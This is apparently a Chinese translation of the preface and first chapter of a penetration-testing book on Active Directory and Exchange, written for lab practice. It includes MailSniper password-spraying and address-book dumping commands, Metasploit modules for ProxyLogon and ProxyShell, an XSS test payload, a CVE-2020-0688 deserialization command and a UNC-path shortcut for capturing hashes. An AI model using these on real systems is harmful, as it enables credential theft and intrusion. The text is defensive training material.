Windows-活动目录渗透测试-一-

140 阅读1小时+

Windows 活动目录渗透测试(一)

原文:annas-archive.org/md5/54797d58818b0a0fba436d02c4dd0612

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

几乎每天我们都会听到新的数据泄露、数据外泄或勒索软件攻击的消息。如今,网络犯罪已成为一个庞大的产业,并且不断寻求进步。这不再是一个人的表演;网络犯罪分子有自己的方法论、工具和专业人员。防御的方式是理解他们是如何攻击的、他们的战术以及技术。

我们将采用这种方法来对抗最受欢迎的软件供应商——微软的各种产品。本书专注于基于 Windows 的基础设施,因为对于大多数公司而言,企业内部基础设施仍然是一个重要领域。在本书中,我将带领你通过对Active DirectoryAD)、Active Directory 证书服务、Microsoft Exchange 服务器、Microsoft SQL 服务器以及系统中心配置管理器SCCM)的攻击杀链过程。在这个过程中,你将接触到已知的战术和技术,并进行大量的实践练习。

到本书结束时,你将能够对基于 Windows 的基础设施进行全面的实际安全评估。此外,你还将获得关于如何检测对手活动的建议和修复建议。

本书适用人群

本书确实是一本全方位的指南,专为从事 Windows 基础设施工作,特别是 AD 的安全专业人员编写。渗透测试人员和红队操作员将找到他们在实际评估中可能遇到的攻击场景。安全和 IT 工程师、蓝队成员以及事件响应人员将从检测和修复指南中受益。为了最大限度地利用本书,你应该具备 Windows 服务和 AD 的基础知识。

本书内容

第一章准备实验室和攻击 Exchange 服务器,概述了攻击杀链,展示了如何部署实验室环境,并专注于通过实际示例演示 Exchange 服务器的攻击面。

第二章防御规避,教授你如何规避恶意软件扫描接口AMSI)和 AppLocker、PowerShell 增强日志记录、Sysmon 以及Windows 事件跟踪ETW)。

第三章域侦察与发现,在这一章你将学习如何在域中执行侦察、如何融入环境流量,以及深入了解像 BloodHound 和 Microsoft 高级威胁分析ATA)等工具的内部工作。

第四章域中的凭证访问,介绍了通过捕获哈希值、强制认证、对 Kerberos 进行“烘烤”、如果本地管理员密码解决方案LAPS)配置错误时读取明文密码,以及通过 DCSync 收集 gMSA 账户或整个域的哈希值等方式获取域环境中的凭证。

第五章域内和跨森林的横向移动,展示了对手如何通过滥用不同类型的委派、传递不同类型的凭证材料、转发捕获的哈希值以及向其他森林移动来在环境中横向移动。

第六章域权限提升,我们将重点讨论通过滥用配置错误的访问控制列表ACL)、组策略对象GPO)和特殊内建组来提升域中的权限,以及如何从子域转移到父域。

第七章域级持久化,展示了通过伪造票证和操作 ACL 和对象,以及通过添加骨架密钥、恶意 SSP、注册表后门等手段,在域控制器上实现持久化的技术。

第八章滥用 Active Directory 证书服务,涵盖了微软实施的公钥基础设施PKI)的基础知识,以及盗取证书、在域中提升权限并实现域级持久化的方法。

第九章攻破 Microsoft SQL Server,我们将重点讨论如何攻击 SQL Server,包括枚举、权限提升、横向移动和持久化。

第十章接管 WSUS 和 SCCM,提供了 IT 支持管理软件的概述,并介绍了滥用其功能的方法,最终实现对整个环境的完全接管。

为了充分利用本书

书中涵盖的软件/硬件操作系统要求
Windows Active DirectoryLinux 主机
Windows 服务 – WSUS 和 AD CSKali 虚拟机
Exchange 服务器
SQL Server
SCCM

使用的约定

本书中使用了若干文本约定。

文本中的代码:表示文本中的代码词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。以下是一个示例:“MailSniper 计算身份验证尝试响应之间的时间差。”

任何命令行输入或输出如下所示:

[InternetShortcut]
URL=any
WorkingDirectory=any
IconFile=\\192.168.56.100\%USERNAME%.icon
IconIndex=1

粗体:表示新术语、重要词汇或您在屏幕上看到的词。例如,菜单或对话框中的词语通常以粗体显示。以下是一个示例:“我们将讨论攻击检测及可能的防范措施,并介绍进攻性操作 安全OpSec)。”

提示或重要注意事项

显示如下。

联系我们

我们始终欢迎读者的反馈。

一般反馈:如果你对本书的任何部分有疑问,请通过邮件联系我们,邮箱地址是 customercare@packtpub.com,并在邮件主题中提到书名。

勘误表:尽管我们已尽最大努力确保内容的准确性,但难免会有错误。如果你在本书中发现任何错误,我们将非常感激你向我们报告。请访问www.packtpub.com/support/err…并填写表单。

盗版:如果你在互联网上发现我们作品的任何非法副本,请提供其网址或网站名称。请通过版权@packtpub.com 与我们联系,附上该资料的链接。

如果你有兴趣成为作者:如果你在某个领域有专长,并且有兴趣撰写或参与编写一本书,请访问authors.packtpub.com

分享你的想法

一旦你阅读了*《渗透测试:Active Directory 和基于 Windows 的基础设施》*,我们非常希望听到你的反馈!请点击这里直接进入 Amazon 的评论页面,分享你的看法。

你的评论对我们和技术社区来说都非常重要,将帮助我们确保提供卓越质量的内容。

下载本书的免费 PDF 副本

感谢购买本书!

你喜欢在旅途中阅读,但又不能随时携带纸质书籍吗?

你的电子书购买是否与你选择的设备不兼容?

不用担心,现在购买每本 Packt 书籍,你都会免费获得该书的无 DRM PDF 版本。

随时随地、在任何设备上阅读。直接从你最喜欢的技术书籍中搜索、复制并粘贴代码到你的应用程序中。

优惠活动不仅仅是这样,你还可以获得独家折扣、时事通讯以及每天送到邮箱的精彩免费内容

按照以下简单步骤,享受相关福利:

  1. 扫描二维码或访问以下链接

packt.link/free-ebook/9781804611364

  1. 提交你的购买证明

  2. 就是这样!我们会直接将你的免费 PDF 和其他福利发送到你的邮箱。

第一章:准备实验室并攻击 Exchange 服务器

Windows 活动目录是大多数企业中运行和支持基于 Windows 的网络的事实标准。虽然集中管理带来了便利,但也引入了安全风险。在执行操作时,恶意行为者计划实现某些目标,破坏活动目录可以帮助他们达成这一目的。活动目录的默认配置远未达到安全标准。了解活动目录安全的最佳方式是,在安全环境中执行攻击,尝试检测并防止不必要的恶意活动。

本书的重点将放在活动目录杀伤链上,执行攻击并尝试检测和防止它们。本章将介绍如何为这些活动部署一个安全的操作环境。我们将在本书中使用这个实验室,之后会添加额外的服务,这些服务将在后续关于 活动目录证书服务(ADCS)、SQL 服务器和 Windows 服务器更新服务(WSUS) 以及 系统中心配置管理器(SCCM) 的章节中讨论。

我们的第一个实际目标将是微软 Exchange 服务器。它是一个复杂的协作产品,远不止一个电子邮件服务器。从安全的角度来看,它是一个有价值的目标,因为它是基础设施中一个至关重要的组件,并且可以从互联网访问。内部部署的 Exchange 与活动目录紧密相连,通常具有较高的权限。

本章将覆盖以下主要主题:

  • 实验室架构与部署

  • 活动目录杀伤链

  • 为什么初始访问和主机相关的主题不予覆盖

  • 攻击 Exchange 服务器

技术要求

在本章中,您需要访问以下内容:

  • VMware Workstation 或 Oracle VirtualBox,至少需要 16GB 的 RAM,10 个 CPU 核心,以及至少 115GB 的总空间(如果进行快照,则需要更多空间)

  • 强烈建议使用基于 Linux 的主机操作系统

  • 安装了相应虚拟化平台插件的 Vagrant 和 Ansible

实验室架构与部署

即使创建和部署测试实验室可能令人望而却步且耗时,它仍然是攻击模拟之前的重要准备步骤。MITRE ATT&CK 专门为此活动提供了一种策略,称为 资源开发

有一些免费的但功能强大的自动化实验室部署项目可供选择。您可以根据工作站的资源选择其中任何一个,并自行复制漏洞。例如,有一个非常好的开源项目,由 Splunk 威胁研究团队维护,叫做 Splunk Attack Range[1],您可以快速部署一个小型实验室来执行攻击模拟。然而,本书中我将使用另外两个项目。

本书中我将使用的第一个项目是由 Orange Cyberdefense[2] 创建的 GOADv2 实验室。要部署它,你需要一个基于 Linux 的主机操作系统,并安装 VMware Workstation 或 Oracle VirtualBox。也可以在 Proxmox 上部署该实验室,正如 Mayfly 在他的博客中所展示的[3]。部署过程简单,并且在仓库中的 README.md 文件里有详细描述。整个过程分为两部分,依据你的互联网连接速度,整个过程大约需要 3-4 小时。Vagrant 将创建虚拟机,Ansible playbook 将配置和部署所需的服务、用户和漏洞。为了加快部署速度,在 Vagrant 文件中,我们可以将所有 SRV 服务器的 box_version 变量更改为已经在列表中的版本,这样就只会下载两个镜像,并用于进一步的部署。我将使用安装在最新 Arch Linux 上的 VMware Workstation 16。按照安装指南操作后,你最终看到的信息应该如下所示:

图 1.1 – GOAD 实验室部署成功的结果

图 1.1 – GOAD 实验室部署成功的结果

我将在某些章节中使用的第二个仓库是由 Chris Long[4] 创建的令人印象深刻的 DetectionLab 项目。不幸的是,它已经不再维护,但它仍然非常适合我们的目的。这个实验室的优势在于它提供了多种部署选项,包括云平台和所有现代裸机虚拟化程序。此外,这个实验室已经为我们安装了检测工具(Sysmon、Velociraptor、Microsoft ATA 等)。安装过程也很简单。准备脚本会帮助识别缺少的软件包,Vagrant 会完成剩下的工作。整体过程大约需要 1-2 小时,取决于你的网络和计算机性能。以下截图显示了预部署脚本成功执行的结果,这意味着我们可以开始我们的 DetectionLab 了:

图 1.2 – 成功执行 prepare.sh 的结果

图 1.2 – 成功执行 prepare.sh 的结果

以下 GOADv2 项目的图表来自实验室创建者的 GitHub 仓库:

图 1.3 – GOADv2 概览

图 1.3 – GOADv2 概览

这个实验室有两个林(sevenkingdoms.localessos.local),它们之间建立了信任关系,并且有父子域(sevenkingdoms.localnorth.sevenkingdoms.local)。Active Directory 信任可以有效地让信任域中的实体安全地访问受信域的资源。Microsoft SQL Server 将在两个林中部署,并在实例之间建立信任连接。我们还将在其中一台服务器上安装 Internet Information ServicesIIS)。ADCS 提供了所需的数字证书基础设施,供公司使用公钥加密技术。这些证书可以用于多种用途,比如身份验证、加密以及签署文档和/或消息。我们实验室中有一台专门的服务器来承担这个角色,届时我们将能够模拟对 ADCS 的攻击。大多数攻击场景已经由实验室创建者在环境中引入,但如果我们需要添加或调整某些内容,将会特别提到,并提供逐步指南——例如,安装 WebClient 或部署 组管理服务账户gMSAs)。

下一节将介绍攻击任何目标的常见方法,包括 Active Directory。

Active Directory 杀链

什么是 Active Directory?用简单的话来说,它是一个层次结构的对象信息存储。其主要优点之一是,Active Directory 允许集中管理和身份验证。接下来,我们简要讨论一下什么是网络攻击杀链。这个框架由洛克希德·马丁公司开发,具有军事背景。它是一个识别攻击结构的概念。我们可以根据 infosecn1nja 在 GitHub 上的图示,将网络攻击杀链的概念应用到 Active Directory。它包含几个步骤,但始终遵循相同的循环——侦察妥协横向移动——只是拥有更多的特权访问:

图 1.4 – Active Directory 杀链

图 1.4 – Active Directory 杀链

本书的重点仅为基于 Windows 的基础设施及其服务,因此诸如主机上的本地权限提升、初始访问和外部侦察等主题超出了本书的范围。我将在本章的专门部分简要解释这一决定背后的原因。以下是将在相应章节中讨论的主题列表:

  • Exchange 服务器

  • 防御规避

  • 内部侦察

  • 凭证访问

  • 横向移动

  • 权限提升

  • 持久性

  • AD CS

  • Microsoft SQL Server

  • WSUS

  • Microsoft SCCM

本书的重点是妥协 Active Directory 环境和基于 Windows 的常见服务,而非红队操作。原因是红队操作通常具有与业务相关的目标,而不是寻找和利用 Active Directory 及其服务中的所有可能漏洞。需要提到的是,根据目标环境、范围以及在初始访问中获得的权限级别,并非总是需要妥协每个目标。例如,获取公司的财务数据并不需要域管理员权限,但在某些情况下,这些权限可能会有所帮助。我们将讨论攻击检测和可能的预防措施,以及进攻性操作安全OpSec)。简而言之,指的是你在活动中被对手发现的可能性。这是一把双刃剑,意味着它既适用于进攻行动,也适用于防御行动及欺骗对手的方式。

为什么我们不会涵盖初始访问和主机相关的主题

初始访问是妥协目标环境的一个至关重要的早期步骤。然而,本书不会涵盖这一部分,原因如下。老实说,这个主题既广泛又深入,涉及 IT 各个领域以及心理学的跨领域知识,因此它需要一本独立的书籍。此外,在此类书籍发布时,很可能一半的攻击向量会被安全解决方案(如端点检测与响应EDR))的实施所消除,或者被蓝队的全面检测能力所覆盖。原因在于,这个领域发展迅速,充满了未发布的私人研究。总的来说,要获得稳定的初始访问权限,需关注三个主要主题——一个具有韧性和安全性的攻击基础设施、具备必要功能的隐蔽工具以及成功的防御规避。

为了避免在手动部署过程中出现痛苦的错误,使用自动化工具,如 Terraform 和 Ansible,可以帮助构建一个具有韧性的攻击者基础设施。但这需要投入时间,并且要求具备脚本编写和系统管理员的技能。开始了解这一主题的最佳资源之一是 GitHub 上的维基[6]。如果钓鱼和过滤代理是攻击的一部分,基础设施需要经过适当设计,配备多种协议的重定向器,确保安全并加固,并且正确分类。

隐蔽工具、规避技术和检测之间是一场永无止境的斗争,在这场斗争中,熟练的蓝队、SOC 和 EDR/安全供应商与进攻性安全研究人员和红队相互竞争。Jordan Potti在关于红队在 EDR 对抗中努力和投资回报的精彩笔记[7],也是我不讨论这一话题并专注于基于 Windows 的基础设施和 Active Directory 的原因之一。我认为不可能编写一本涵盖所有话题的全面红队书籍,深入探讨每一个方面。

由于本书聚焦于 Active Directory 的安全概念,我们将采用假设已被突破的方法。2019 年,Red Siege 创建了一个精彩的演示文稿来解释这一模型[8]。在我们的案例中,我们假设已经突破了一个标准的域用户账户。所有进一步的步骤将在该用户的上下文中进行。我们还假设最初的入侵是隐蔽的,并未被 EDR/杀毒软件或任何其他安全产品检测到。然而,所有进一步的活动,包括网络流量和生成的事件日志,都被视为蓝队在监控中。书中的后续部分,如果某些活动需要特定的权限,将会特别提到。

我们的下一部分将最终变得更加实际和动手操作。我们将讨论并复制针对 Exchange Server 的攻击场景。

攻击 Exchange Server

Exchange Server 是由微软开发的协作服务器。尽管越来越多的公司正在迁移到 O365 云,但仍然有很大的可能性会遇到本地部署的 Exchange。Exchange 为最终用户提供了多个有用的功能,但也非常难以确保它们的安全。近年来,许多研究揭示了其不同组件中的关键漏洞。此外,微软发布的补丁并未总是完全修复这些漏洞,这意味着攻击者通过逆向工程补丁,尝试开发零日漏洞,并能够找到合适的绕过方法。考虑到有时企业无法及时应对这种快速变化的情况,被攻击的可能性非常高。

那么攻击者入侵 Exchange 的好处是什么呢?首先,成功控制后可以访问此服务器上每个用户的邮箱。接下来,它可能演变成一次内部钓鱼活动、敏感数据泄露和邮件中的密码收集。其次,Exchange 服务账户可能具有高权限,包括域管理员权限,从而使得完全接管域成为可能。

为了评估 Exchange Server 的安全性,我们可以将 Exchange Server 添加到 DetectionLab 中;然而,您需要在自己端进行部署。要启动 Exchange Server,只需运行以下命令,假设您使用的是 Linux:

cd /opt/DetectionLab/Vagrant/Exchange
vagrant up exchange

如果在部署过程中遇到任何问题,你可以方便地在C:\exchange2016文件夹中找到日志:

图 1.5 – Exchange 部署的日志位置

图 1.5 – Exchange 部署的日志位置

Exchange 允许通过Exchange Web ServicesEWS)、Exchange ActiveSyncEAS)、Outlook Anywhere 和 MAPI over HTTP 等协议进行远程访问。AutoDiscover 服务帮助检索 Exchange 配置、邮箱设置、支持的协议和服务 URL。你可以在autodiscover.xml文件中找到这些信息,该文件位于autodiscover虚拟目录中。Outlook Web ApplicationOWA)是一个简化版的基于 Web 的邮件客户端。用户仅需通过浏览器即可访问此客户端,而不必安装 Outlook。全局地址列表GAL)是 Active Directory 林中每个启用邮件的对象的列表。我们还将讨论两个概念:Outlook 规则和表单。规则是 Outlook for Windows 在处理收发电子邮件时自动执行的操作。我们设置触发器和动作。服务器端规则首先执行,然后是客户端规则。Outlook 表单为用户和/或组织提供电子邮件定制选项,例如自动填写某些字段或模板文本。

在本节中,我们将讨论用户枚举和密码喷射的工具与技术;从 GAL 和离线地址簿OAB)或使用名称服务提供接口NSPI)提取电子邮件地址;公共的点击式漏洞利用;敏感数据的提取;以及通过客户端软件在目标环境中建立立足点的一些技术。由同一家公司创建的攻防大纲(GOADv2 实验室)中,提供了一个出色的攻击 Exchange 边界的思维导图,并且已上传至 GitHub[9]。

我们的第一个实际任务是枚举用户,并通过执行密码喷射攻击尝试获得一组有效的凭证。

用户枚举和密码喷射攻击

密码喷洒攻击需要用户枚举。首先,我们需要创建一个可能的用户名列表并枚举 Active Directory 域名。其次,我们需要通过 OWA 枚举现有用户,然后进行密码喷洒攻击。为了执行这些操作,我们将使用 MailSniper 工具[10]。第一步可以通过使用 开源情报(OSINT) 技术完成,通过进行 DNS 侦察,利用搜索引擎中的高级搜索运算符并抓取社交媒体和公司的外部资源。有许多开源工具可以在开发生命周期的不同阶段执行这些活动。如果外部网站上发布了电子邮件地址,攻击者可能会幸运地找到像 surname.name@company.comname.surname@company.com 这样的电子邮件地址格式。此外,还有一个网站 hunter.io/,可以帮助找出公司中最常用的电子邮件格式。如果只有像 info、security、GDPR 这样的通用地址,那么我们可以尝试使用像 namemash[11] 和/或 EmailAddressMangler[12] 这样的脚本,这些脚本可以创建所有可能的用户名排列列表。完成此步骤后,攻击者将拥有一个需要验证的潜在用户列表。现在,我们需要借助 MailSniper 中的 DomainHarvestOWA 功能来找出域名。它有两种获取正确域名的选项。一种是从服务器在发送请求到 mail.target.com/autodiscover/Autodiscover.xmlmail.target.com/EWS/Exchange.asmx 后返回的 WWW-Authenticate 头中提取名称。第二种选择是使用提供的域名列表进行暴力破解,通过将请求发送到 mail.target.com/owa/ 并计算响应时间。无效域名的请求响应时间比有效域名的请求响应时间要短得多。显然,用户名不会影响延迟。让我们尝试这个侦察活动:

Invoke-DomainHarvestOWA -ExchHostname 192.168.56.106

执行上述命令的结果可以在以下截图中找到:

图 1.6 – 发现邮件服务器的 FQDN

图 1.6 – 发现邮件服务器的 FQDN

确定域名后,我们的下一步是用户枚举。这是一种纯粹基于时间的枚举技术。MailSniper 计算身份验证尝试响应之间的时间差。当找到有效的用户名时,响应时间将显著缩短:

Invoke-UsernameHarvestOWA -UserList .\user.txt -ExchHostname 192.168.56.106 -Domain windomain.local -OutFile found.txt

枚举结果可以在以下截图中找到:

图 1.7 – 使用 OWA 成功进行用户枚举

图 1.7 – 使用 OWA 成功进行用户枚举

我们成功找到两个用户——Administratorvinegrep。现在,让我们对 OWA 执行密码喷射攻击。在这个场景中,工具会针对提供的用户名列表喷射一个密码:

Invoke-PasswordSprayOWA -ExchHostname 192.168.56.106 -UserList .\found.txt -Password Qwerty123! -OutFile creds.txt

我们成功获取了用户vinegrep的有效凭证集:

图 1.8 – 找到有效的凭证集,用户为 vinegrep

图 1.8 – 找到有效的凭证集,用户为 vinegrep

也可以使用MailSniperInvoke-PasswordSprayEWS功能对 EWS 执行密码喷射攻击。需要注意的是,如果多因素身份验证MFA)被强制执行,那么获得的有效凭证集将无法授予访问权限。MFA 将要求提供额外的身份验证因素,这些因素可以是从手机上的身份验证应用程序到 USB 安全令牌或其他类型的密钥。像任何安全措施一样,如果 MFA 配置错误,或者攻击者诱使用户执行身份验证的第二步而不是自己完成,MFA 也可以被绕过。

下一步是充分利用这组有效的凭证和邮箱访问权限。在接下来的章节中,我们将学习如何转储地址簿并外泄敏感数据。

转储和外泄

假设多因素身份验证(MFA)已经被绕过或未被强制执行,并且攻击者成功登录了受害者的邮箱,接下来的步骤是什么?有几个可能的场景。首先,攻击者可以浏览电子邮件;也许能找到一些敏感的内部信息,包括密码、证书、文档和端点地址。在进行此操作之前,作为安全专家,务必确保符合参与规则。你最不希望做的事情就是未授权访问客户的机密数据。

其次,运行内部钓鱼攻击。内部电子邮件处理规则在安全性上可能更宽松——例如,允许附件。此外,这样的攻击活动成功率更高,因为用户更有可能打开附件或点击同事或经理发来的链接。但这仍然不能保证成功,因为我们无法控制非电子邮件媒介。我们可以在受害者的同事正在现实生活中讨论某事时向他们发送电子邮件。然而,也需要考虑道德因素。根据目标公司的文化和规则,用户可能会因此失业。

其次,我们可以提取公司的所有电子邮件地址以及一些关于 Active Directory 的信息,而无需泄露任何邮箱内容。这可以通过转储 GAL 或 OAB,或者通过滥用 NSPI 来实现。让我们通过一个被攻破的账户使用MailSniper提取 GAL。该模块连接到 OWA,并利用FindPeople方法收集电子邮件地址。此方法适用于 Exchange 2013 及更高版本,并需要从GetPeopleFilters URL 获取AddressListId值:

Get-GlobalAddressList -ExchHostname 192.168.56.106 -UserName windomain.local\vinegrep -Password Qwerty123! -OutFile gal.txt

成功提取 GAL 的截图如下所示:

图 1.9 – GAL 提取

使用新发现的邮件地址,我们可以重新发起密码喷洒攻击。

另一种导出所有 Exchange 用户邮件地址的方法是下载 OAB 文件。一个重要的注意事项是,必须提取现有用户的主邮件地址,并且需要有效的域帐户。步骤如下:

  1. autodiscover端点发出 web 请求以检索autodiscover.xml

  2. 在响应中搜索OABUrl值,它是指向 OAB 文件目录的路径。不要忽视其他有用的信息,如域用户的 SID 和域控制器名称。

  3. 使用OABUrl值请求oab.xml,以列出 OAB 文件名。

  4. oab.xml文件中,搜索包含data且具有.****lzx扩展名的文件名。

  5. 下载此文件并解析它。

我们将需要一台 Linux 机器来运行以下命令。为了自动化 OABUrl 提取,我们将使用 GitHub 上的脚本[13]。该脚本帮助完成第 1 和第 2 步。结果可以在以下截图中找到:

图 1.10 – OABUrl 提取

图 1.10 – OABUrl 提取

接下来,我们将复制oab.xml文件并解析它,以找到包含data字样的文件名的.lzx文件的 URL。这就是我们的 GAL OAB 文件。最后一步,我们将保存该文件并解析其中的邮件地址:

curl -k --ntlm -u 'windomain.local\vinegrep:Qwerty123!' https://exchange.windomain.local/OAB/e79472bb-2dd6-4ffb-9e02-8dd42510bb1b/oab.xml > oab.xml
cat oab.xml | grep '.lzx' | grep data
curl -k --ntlm -u 'windomain.local\vinegrep:Qwerty123!' https://exchange.windomain.local/OAB/e79472bb-2dd6-4ffb-9e02-8dd42510bb1b/007215f1-4ab8-4ed2-a503-4cd82b0d8093-data-1.lzx > oab.lzx
strings oab.txt | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,5}" | sort -u

可以在以下截图中看到从 OAB 提取的 GAL 邮件:

图 1.11 – 使用 OAB 提取 GAL 邮件

图 1.11 – 使用 OAB 提取 GAL 邮件

通过 NSPI 导出通讯簿的另一种方式是由Positive Technologies在他们的研究中发现的[14]。一个名为Exchanger的工具现在是 Impacket 的一部分,因此我们可以直接使用它,无需额外安装。第一步,我们列出表格以获取 GUID,然后使用 GUID 导出有前景的表格:

python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi list-tables -count
python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi dump-tables -guid 715d9794-704c-4fe3-a038-24f149747b2c -lookup-type EXTENDED

导出结果可以在以下截图中看到:

图 1.12 – 通过 NSPI 根据 GUID 导出通讯簿

图 1.12 – 通过 NSPI 根据 GUID 导出通讯簿

现在,我们可以使用提取的邮件地址重新发起密码喷洒攻击。我们还可以使用该工具通过 GUID 导出 Active Directory 对象。请注意,首先我们需要获取 GUID,例如通过 PowerShell 命令,然后将其传递给 Exchanger:

Get-ADComputer -Identity win10.ObjectGUID
python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi guid-known -guid b1422ca3-66c7-4d6b-b7f4-43c73e9705b2 -lookup-type EXTENDED

执行 Exchanger 命令后的结果可以在以下截图中看到:

图 1.13 – 通过 NSPI 根据 GUID 导出 Active Directory 对象

图 1.13 – 通过 NSPI 根据 GUID 导出 Active Directory 对象

在数据外泄的讨论中,我们无法不提到一个名为PEAS[15]的项目。该工具基于 MWR 研究[16]开发,用于在 ActiveSync 服务器上运行命令。其思路是通过 Exchange Server 枚举并访问域中的文件共享。该工具的主要缺点是,必须在服务器和客户端账户上启用 ActiveSync。此外,ActiveSync 配置应该允许 UNC 路径,并且不限制 SMB 服务器。

远程危害 Exchange 的另一种方式是通过可利用的漏洞。近年来,发现并公开了不少关键漏洞。在下一部分,我们将介绍已公开的利用方式。

Zero2Hero 利用

在这一部分,我们将讨论Proxy* 漏洞家族,CVE-2020-0688 和 PrivExchange(CVE-2018-8581)。它们的根本原因各不相同,但都证明了 Exchange 是一个极其复杂的软件,拥有广泛的攻击面。

我们将从 Proxy* 漏洞家族开始讨论。这类漏洞出现在对手和研究人员将重点转移到新的攻击面——客户端访问服务CAS)时。我们将从 Exchange 历史上最著名的漏洞——ProxyLogon[17]开始。Orange Tsai 来自 DEVCORE 发现了两个漏洞(CVE-2021-26855 和 CVE-2021-27065),这两个漏洞结合起来可以绕过身份验证并实现远程代码执行。

CVE-2021-26855 是一种服务器端请求伪造SSRF),允许绕过身份验证并发送具有最高权限的请求。当用户向 Exchange 前端发送请求时,该请求会通过 HTTP 代理模块流动,然后由该模块评估并将其发送到后端。通过将 X-BEResource cookie 值设置为所需的后端 URL,可以伪造服务器端请求。利用此漏洞有两种场景。第一种是访问电子邮件,但需要目标环境中至少有两台 Exchange 服务器。另一种是身份验证到 Exchange 控制面板ECP),然后上传 web shell(CVE-2021-27065 和 CVE-2021-26858)。一个包含逐步说明和检测的优秀手册已由BI.ZONE[18]发布。

CVE-2021-27065 是一种身份验证后任意文件写入漏洞。简而言之,攻击者登录到 ECP,然后在 OAB 虚拟目录中,通过插入 web shell 代码编辑外部 URL字段,并请求重置该目录以保存 web shell。

为了检查 Exchange 是否存在漏洞,我们可以利用 Metasploit 的一个模块——auxiliary/scanner/http/exchange_proxylogon。扫描结果如下:

图 1.14 – Exchange 存在 ProxyLogon 漏洞

图 1.14 – Exchange 存在 ProxyLogon 漏洞

对于可靠的利用,我们可以使用 Metasploit 中的利用——exploit/windows/http/exchange_proxylogon_rce。我们只需要一个有效的邮箱地址,仅此而已。利用结果如下所示:

图 1.15 – ProxyLogon 漏洞的利用

图 1.15 – ProxyLogon 漏洞的利用

现在我们来讨论ProxyOracle[19],它由 CVE-2021-31195(反射型跨站脚本攻击)和 CVE-2021-31196(Exchange Cookie 解析中的填充 Oracle 攻击)漏洞组成,这些漏洞允许从 cookie 中以明文形式恢复受害者的用户名和密码。为了检查目标安装是否存在漏洞(在我们的案例中是 IP 地址为192.168.56.106的实验室中的 Exchange Server),可以尝试在浏览器地址栏中放入此有效载荷:

https://192.168.56.106/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//

如果你看到弹出警告框,如下图所示,那就意味着你找到了一个易受攻击的目标:

图 1.16 – Exchange Server 中的反射型 XSS 是成功利用 ProxyOracle 所必需的

图 1.16 – Exchange Server 中的反射型 XSS 是成功利用 ProxyOracle 所必需的

接下来是我们列表中的另一个预认证 RCE 漏洞——ProxyShell[20]。它链式利用了三个漏洞:CVE-2021-34473(预认证路径混淆,导致访问控制列表ACL)绕过),CVE-2021-34523(Exchange PowerShell 后端的特权提升),以及 CVE-2021-31207(认证后任意文件写入)。

简而言之,第一个漏洞利用了错误的 URL 标准化过程,以便以 Exchange 机器账户身份访问任意后端 URL。第二个漏洞通过在X-Rps-CAT请求参数中放入 Exchange 管理员信息,实现特权提升,该参数用于在X-CommonAccessToken头缺失时恢复用户身份。第三个漏洞则是通过 Exchange PowerShell 命令写入 shell。

Metasploit 同样为我们提供了支持,利用——exploit/windows/http/exchange_proxyshell_rce。利用结果如下:

图 1.17 – ProxyShell 成功利用

图 1.17 – ProxyShell 成功利用

现在是时候讨论ProxyNotShell[21]漏洞了。它与 ProxyShell 相似,由一对漏洞组成,分别是 SSRF(CVE-2022–41040)和通过 PowerShell 的 RCE(CVE-2022–41082)。这次的区别在于,攻击者需要经过认证。我们在 Metasploit 中同样可以找到一个利用——exploit/windows/http/exchange_proxynotshell_rce。需要注意的是,Metasploit 中的这个利用仅适用于 Exchange 2019。我们可以看到在我们的环境中运行后的结果如下:

图 1.18 – 由于 Exchange 版本问题,ProxyNotShell 利用被中止

图 1.18 – 由于 Exchange 版本问题,ProxyNotShell 利用被中止

最后,我们将简要讨论 ProxyRelay[22] 和 ProxyNotRelay[23]。第一个漏洞是对另一个 Exchange 服务器(没有 CVE)、后台(CVE-2022-21979)、前端(CVE-2021-33768)或 Windows DCOM(CVE-2021-26414)的中继攻击。其思路与本书后续将讨论的其他强制认证和中继攻击相同。ProxyNotRelay 不是一个独立的漏洞,而是 ProxyRelay 和 ProxyNotShell 的结合体。

现在,我们将讨论两个较老的漏洞——CVE-2020-0688 和 PrivExchange(CVE-2018-8581)。虽然你在实际中遇到它们的可能性很小,但这部分内容的目的是展示其他的攻击面。

CVE-2020-0688[24] 允许经过身份验证的攻击者由于 Exchange 安装过程中使用的固定加密密钥执行任意代码。让我们深入了解这个漏洞的细节。该漏洞存在于 Exchange 控制面板ECP)中。validationKeydecryptionKey 的值应当在每次安装时随机生成。这些密钥为 ViewState 提供安全保障,ViewState 是一种在 ASP.NET Web 应用程序中保存页面和控制值的方法。一个重要的警告是,ViewState 会被序列化并存储在客户端。什么是序列化?简单来说,它是将复杂数据转化为字节序列的过程,以便能够发送或存储,并保留其状态。如果攻击者能够通过提供恶意值来操纵这些数据,在某些情况下,服务器端的不安全反序列化可能导致 RCE(远程代码执行)。

登录 ECP 后,攻击者通过浏览器和开发者工具收集 ViewStateUserKey(来自 ASP.NET_SessionID cookie)和登录页面中的 __VIEWSTATEGENERATOR 值。validationkey 值是已知的(CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF)。为了生成恶意载荷,我们将使用一个叫做 ysoserial.net[25] 的工具。这个工具包含了在常见库中发现的已知小工具链。小工具是库代码中存在的代码片段,可以帮助攻击者通过逐个执行来触发恶意载荷。这个漏洞使用了 TextFormattingRunProperties 库。我们可以运行以下命令在 C:\ 创建文件:

PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url https://192.168.56.106 -Username windomain\vinegrep -Password Qwerty123! -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath .\ysoserial\ysoserial.exe

执行结果如下:

图 1.19 – CVE-2020-0688 成功利用

图 1.19 – CVE-2020-0688 成功利用

文件创建在 C:\

图 1.20 – 文件创建在 C:\,并包含 whoami 命令的输出

图 1.20 – 文件创建在 C:\,并包含 whoami 命令的输出

第二个漏洞需要三个条件,称为PrivExchange[26]。第一个条件是 Exchange 在域中的权限过高。Exchange Windows Permissions组在域对象上具有WriteDacl权限,这使攻击者能够获得DCSync权限。DCSync是一项允许你同步域中所有哈希值的特权。通常,这一特权由域控制器在复制过程中使用。攻击者只需请求一个域控制器发送哈希值以进行同步。

